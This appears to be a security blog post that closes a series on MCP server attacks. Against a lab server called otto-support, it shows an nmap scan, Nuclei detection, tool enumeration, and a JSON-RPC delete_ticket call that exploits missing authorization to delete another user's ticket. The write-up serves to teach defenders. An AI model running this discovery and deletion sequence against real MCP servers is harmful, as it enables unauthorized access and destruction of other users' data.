TL;DR: This final entry runs a modified version of otto-support through nmap, a Nuclei template, and MCP Inspector to find an authorization gap that lets an unprivileged user delete other users' tickets. It closes the series on the point that MCP introduces a new attack surface but the security fundamentals that govern it have been familiar to web app teams for years.
In the MCP blog series so far, we’ve explored how to interact and attack MCP servers using Claude with Claude Code.
We’ll now explore a hypothetical attack path of MCP server discovery and exploitation. We will also utilize MCP Inspector, in place of Claude Code, to demonstrate that remotely accessible MCP Servers are like traditional web services. The requirements for strong authentication and authorization controls remain the same.
Discovery
This scenario takes on a zero-knowledge, assumed breach scenario. We use a modified version of otto-support that is hosted separately from our compromised host. We first use nmap to scan our target network to identify interesting targets.
$ nmap -sV 172.20.0.0/24 Starting Nmap 7.93 ( https://nmap.org ) at 2026-04-08 15:28 UTC ...omitted for brevity... Nmap scan report for otto-support-otto-support-1 (172.20.0.10) Host is up (0.00010s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 9090/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Figure 1 - nmap scan from the compromised host
We then write a Nuclei template to scan for common MCP server endpoints by checking /mcp and /sse paths for standard API responses, and use this to validate that the target host is an MCP Server.
$ nuclei -t /templates/exposed-mcp-server.yaml -u http://172.20.0.10:9090 -duc -no-interactsh [INF] Templates loaded for current scan: 1 [INF] Targets loaded for current scan: 1 [exposed-mcp-server] [http] [unknown] http://172.20.0.10:9090/mcp [""name":"otto-support""] [INF] Scan completed in 6.613978ms. 1 matches found.
Figure 2 – A nuclei template identifies the otto-support MCP server
Enumeration
Using MCP Inspector, we follow the same path as the previous blog posts, by creating a new user account, and then calling the status tool to enumerate otto-support’s services and its ticket IDs. However, this time we do not need to interact with the LLM to force a tool call, we are calling the tools directly via the API call:
Request
{
"method": "tools/call",
"params": {
"name": "status",
"arguments": {
"verbose": true
},
"_meta": {
"progressToken": 7
}
}
}Response
{
...omitted for brevity...
{
"services":[
{
"health_endpoint": "http://127.0.0.1:9004/health",
"name": "payment",
"port": "9004",
"response_time_ms": 0,
"status": "up"
}
],
"ticket_stats": {
"id_range": "4201-4205",
"total": 5
}
}
}
Figure 3 – Connection to otto-support established with MCP Inspector
Exploitation
We verify during our discovery phase that our unprivileged user account is unable to read or edit the tickets of other users. When testing otto-support’s delete_ticket functionality, however, we identify a lack of authorization controls, allowing our unprivileged user to delete another user’s ticket.
The following JSON-RPC call confirms the bypass:
Request
{
"method": "tools/call",
"params": {
"name": "delete_ticket",
"arguments": {
"ticket_id": "4201"
},
"_meta": {
"progressToken": 8
}
}
}Response
{
"content": [
{
"type": "text",
"text": "{\n \"status\": \"deleted\",\n \"ticket_id\": 4201,\n \"title\": \"Billing dispute — Alpine Retail\"\n}"
}
]
}
Figure 4 – Unauthorized deletion of another user’s ticket
As demonstrated above, the JSON-RPC request to delete another user’s ticket shows that while MCP Servers may have differences from some of the services we’re used to seeing, they are still functionally similar.
Because of this, similar testing methodologies apply when evaluating MCP servers as traditional web services when exposed to an attacker directly. Likewise, when developing and deploying MCP servers, the same security fundamentals apply:
- Perform server-side validation before any privileged actions are performed.
- Apply strong authentication and authorization controls.
- Review protocol specifications and ensure that security requirements are adhered to.
Conclusion
MCP introduces a familiar attack surface, and the controls that govern it are as well. Authentication, authorization, input validation, observability, supply chain integrity, and least privilege are the same disciplines that mature web application security programs already practice. The challenge across this series has been the speed at which AI capability is being deployed without applying any of them.
otto-support exists to make that gap concrete. Each blog demonstrated a different way agents can be misused, misconfigured, manipulated, or compromised. The teams that recognize this early will hopefully be enabled to build defensible systems.
Subscribe to our blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.
Recommended Posts